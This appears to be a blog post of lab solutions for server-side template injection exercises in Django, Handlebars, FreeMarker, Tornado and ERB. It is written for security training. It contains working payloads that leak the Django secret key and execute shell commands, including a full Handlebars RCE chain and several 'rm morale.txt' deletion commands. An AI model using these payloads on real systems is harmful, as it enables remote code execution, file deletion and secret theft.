Lab Solution: Server-side template injection with information disclosure via user-supplied objects

First, we need to “View details” of a product and click “Edit template”. We can see that the template get data by using {{product.name}}.

Changing it to {{7*7}} and click “Preview” raised an exception with the name of the template which is Django template.

According to this guide about SSTI (Server Side Template Injection), to find the framework’s secret key we use:

{{settings.SECRET_KEY}}

Lab Solution: Server-side template injection in an unknown language with a documented exploit

When viewing details of the first product, we get a message in URL:

/?message=Unfortunately this product is out of stock

Try /?message={{}} we get an error.

This page is using Handlebars template. According to Handlebars template injection and RCE in a Shopify app, we can use their payload to inject.

There is a comment mentioned the payload to execute a shell command.

And we have the payload to execute ‘ls‘ command.

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

URL encode this payload into:

/?message=%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0A%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%0A%20%20%20%20%20%20%7B%7Bthis.push%20%28lookup%20string.sub%20%22constructor%22%29%7D%7D%0A%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%0A%20%20%20%20%20%20%7B%7B%23with%20string.split%20as%20%7Ccodelist%7C%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7Bthis.push%20%22return%20require%28%27child_process%27%29.execSync%28%27ls%27%29%3B%22%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string.sub.apply%200%20codelist%29%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0A%20%20%7B%7B%2Fwith%7D%7D%0A%7B%7B%2Fwith%7D%7D

We can see that there is a file named ‘morale.txt‘.

Change ‘ls‘ into ‘rm morale.txt‘ and execute the payload.

Lab Solution: Server-side template injection using documentation

First, we need to “View details” of a product and click “Edit template”. We can see that the template get data by using ${product.name}.

Changing it to ${a} and click “Preview” raised an exception with the name of the template which is FreeMarker template.

According to @albinowax in Server-Side Template Injection, to execute ‘id‘ command, we inject:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

Then, we execute ‘ls‘ and there is a file named 'morale.txt‘.

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("ls") }

Remove the file with:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm morale.txt") }

Lab Solution: Basic server-side template injection (code context)

We have a hint:

Tip: Take a closer look at the “preferred name” functionality.

This function is in “My account” page, and it change the name displayed when we comment on a post.

Click “Submit” button and catch the packet with Burp Suite, we can change the value of the “blog-post-author-display” parameter.

For example, use payload:

blog-post-author-display=7*7

And our name was changed into “49”.

This lab uses a Tornado template so we use python to run system command.

To list the files, we use:

blog-post-author-display=user.name}}{%+import+os+%}{{os.system('ls')

And to delete file, we use:

blog-post-author-display=user.name}}{%+import+os+%}{{os.system('rm+morale.txt')

Lab Solution: Basic server-side template injection

When click “View details” of the first product, we got a message:

This message is a parameter named “message” of a GET method request.

Because this lab uses an ERB template, we will try to change the “message” parameter into:

?message=<%= 7*7 %>

Hence this site have a SSTI vulnerability.

To run system commands from ruby, we use function system(). We use payload:

?message=<%= system("ls") %>

to list the files and we found the target file “morale.txt“.

Then we delete that file with payload:

?message=<%= system("rm morale.txt") %>
Design a site like this with WordPress.com
Get started